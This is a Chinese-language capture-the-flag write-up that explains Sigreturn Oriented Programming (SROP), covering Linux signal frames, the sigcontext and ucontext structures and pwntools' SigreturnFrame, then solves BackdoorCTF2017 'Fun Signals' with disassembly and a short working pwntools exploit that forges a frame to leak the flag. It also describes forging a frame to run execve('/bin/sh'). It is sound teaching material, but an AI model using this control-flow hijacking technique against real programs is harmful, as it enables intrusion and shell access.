pwn BackdoorCTF2017 Fun-Signals

SROP 原理

Linux系统调用

在开始这一切之前，我想先讲一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在/usr/include/asm/unistd_64.h和 /usr/include/asm/unistd_32.h中，另外还需要查看/usr/include/bits/syscall.h

signal机制

信号机制是进程之间相互传递消息的一种方法，信号全称为软中断信号，也有人称作软中断

软中断信号（signal，又简称为信号）用来通知进程发生了异步事件。进程之间可以互相通过系统调用kill发送软中断信号。内核也可以因为内部事件而给进程发送信号，通知进程发生了某个事件。注意，信号只是用来通知某进程发生了什么事件，并不给该进程传递任何数据。

Image text

如图所示，当有中断或异常产生时，内核会向某个进程发送一个 signal，该进程被挂起并进入内核（1），然后内核为该进程保存相应的上下文，然后跳转到之前注册好的 signal handler 中处理相应的 signal（2），当 signal handler 返回后（3），内核为该进程恢复之前保存的上下文，最终恢复进程的执行（4）。

一个 signal frame 被添加到栈，这个 frame 中包含了当前寄存器的值和一些 signal 信息。
一个新的返回地址被添加到栈顶，这个返回地址指向 sigreturn 系统调用。
signal handler 被调用，signal handler 的行为取决于收到什么 signal。
signal handler 执行完之后，如果程序没有终止，则返回地址用于执行 sigreturn 系统调用。
sigreturn 利用 signal frame 恢复所有寄存器以回到之前的状态。
最后，程序执行继续。

不同的架构会有不同的 signal frame，下面是 32 位结构，sigcontext 结构体会被 push 到栈中：

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

下面是 64 位，push 到栈中的其实是 ucontext_t 结构体：

// defined in /usr/include/sys/ucontext.h
/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int uc_flags;
    struct ucontext_t *uc_link;
    stack_t uc_stack;           // the stack used by this context
    mcontext_t uc_mcontext;     // the saved context
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
  } ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack.  */
typedef struct
  {
    void *ss_sp;
    size_t ss_size;
    int ss_flags;
  } stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

就像下面这样： Image text

SROP

SROP，即 Sigreturn Oriented Programming，正是利用了 Sigreturn 机制的弱点，来进行攻击。

首先系统在执行 sigreturn 系统调用的时候，不会对 signal 做检查，它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 sigreturn 会从用户栈上恢复恢复所有寄存器的值，而用户栈是保存在用户进程的地址空间中的，是用户进程可读写的。如果攻击者可以控制了栈，也就控制了所有寄存器的值，而这一切只需要一个 gadget：syscall; ret;。

另外，这个 gadget 在一些系统上没有被内存随机化处理，所以可以在相同的位置上找到，参照下图： Image text

通过设置 eax/rax 寄存器，可以利用 syscall 指令执行任意的系统调用，然后我们可以将 sigreturn 和其他的系统调用串起来，形成一个链，从而达到任意代码执行的目的。下面是一个伪造 frame 的例子： Image text

rax=59 是 execve 的系统调用号，参数 rdi 设置为字符串“/bin/sh”的地址，rip 指向系统调用 syscall，最后，将 rt_sigreturn 设置为 sigreturn 系统调用的地址。当 sigreturn 返回后，就会从这个伪造的 frame 中恢复寄存器，从而拿到 shell。

下面是一个更复杂的例子：

一开始 Linux 是通过int 0x80中断的方式进入系统调用，它会先进行调用者特权级别的检查，然后进行压栈、跳转等操作，这无疑会浪费许多资源。从 Linux 2.6 开始，就出现了新的系统调用指令 sysenter/sysexit，前者用于从 Ring3 进入 Ring0，后者用于从 Ring0 返回 Ring3，它没有特权级别检查，也没有压栈的操作，所以执行速度更快

pwnlib.rop.srop

在 pwntools 中已经集成了 SROP 的利用工具，即 pwnlib.rop.srop，直接使用类 SigreturnFrame，我们来看一下它的构造：

python
>>> from pwn import *
>>> context.arch
'i386'
>>> SigreturnFrame(kernel='i386')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 115, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 123, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>> SigreturnFrame(kernel='amd64')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 35, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 43, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>> context.arch = 'amd64'
>>> SigreturnFrame(kernel='amd64')
{'r14': 0, 'r15': 0, 'r12': 0, 'rsi': 0, 'r10': 0, 'r11': 0, '&fpstate': 0, 'rip': 0, 'csgsfs': 51, 'uc_stack.ss_flags': 0, 'oldmask': 0, 'sigmask': 0, 'rsp': 0, 'rax': 0, 'r13': 0, 'cr2': 0, 'r9': 0, 'rcx': 0, 'trapno': 0, 'err': 0, 'rbx': 0, 'uc_stack.ss_sp': 0, 'r8': 0, 'rdx': 0, 'rbp': 0, 'uc_flags': 0, '__reserved': 0, '&uc': 0, 'eflags': 0, 'rdi': 0, 'uc_stack.ss_size': 0}

总共有三种，结构和初始化的值会有所不同：

i386 on i386：32 位系统上运行 32 位程序
i386 on amd64：64 位系统上运行 32 位程序
amd64 on amd64：64 为系统上运行 64 位程序

BackdoorCTF2017 Fun Signals

查看文件类型

file funsignals_player_bin 
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

checksec

python
>>> from pwn import *
>>> print ELF('funsignals_player_bin').checksec()
[*] '/root/sploitfun/srop/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments

disass

gdb-peda$ disass _start
Dump of assembler code for function _start:
   0x0000000010000000 <+0>:	xor    eax,eax
   0x0000000010000002 <+2>:	xor    edi,edi
   0x0000000010000004 <+4>:	xor    edx,edx
   0x0000000010000006 <+6>:	mov    dh,0x4
   0x0000000010000008 <+8>:	mov    rsi,rsp
   0x000000001000000b <+11>:	syscall 
   0x000000001000000d <+13>:	xor    edi,edi
   0x000000001000000f <+15>:	push   0xf
   0x0000000010000011 <+17>:	pop    rax
   0x0000000010000012 <+18>:	syscall 
   0x0000000010000014 <+20>:	int3   
End of assembler dump.
gdb-peda$ disass syscall
Dump of assembler code for function syscall:
   0x0000000010000015 <+0>:	syscall 
   0x0000000010000017 <+2>:	xor    rdi,rdi
   0x000000001000001a <+5>:	mov    rax,0x3c
   0x0000000010000021 <+12>:	syscall 
End of assembler dump.
gdb-peda$ p &flag
$2 = (<text variable, no debug info> *) 0x10000023 <flag>
gdb-peda$ x/s 0x10000023
0x10000023 <flag>:	"fake_flag_here_as_original_is_at_server"
gdb-peda$ x/s flag
0x10000023 <flag>:	"fake_flag_here_as_original_is_at_server"

而且 flag 就在二进制文件里，只不过是在服务器上的那个里面，过程是完全一样的。

首先可以看到 _start 函数里有两个 syscall。第一个是 read(0, $rsp, 0x400)（调用号0x0），它从标准输入读取 0x400 个字节到 rsp 指向的地址处，也就是栈上。第二个是 sigreturn()（调用号0xf），它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。

那么怎样读取 flag 呢，需要一个 write(1, &flag, 50)，调用号为 0x1，而函数 syscall 正好为我们提供了 syscall 指令，构造 payload 如下：

exp代码

from pwn import *

elf = ELF('./funsignals_player_bin')
p = process('./funsignals_player_bin')

context.clear()
context.arch = "amd64"

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write         #系统调用号,设置rax使syscall调用write函数
frame.rdi = constants.STDOUT_FILENO     #设置输出到哪里,STDOUT_FILENO表示向屏幕输出
frame.rsi = elf.symbols['flag']         #设置rsi,表示从哪里开始读取
frame.rdx = 50                          #读取的长度
frame.rip = elf.symbols['syscall']      #指向syscall; ret;

p.send(str(frame))
p.interactive()

运行结果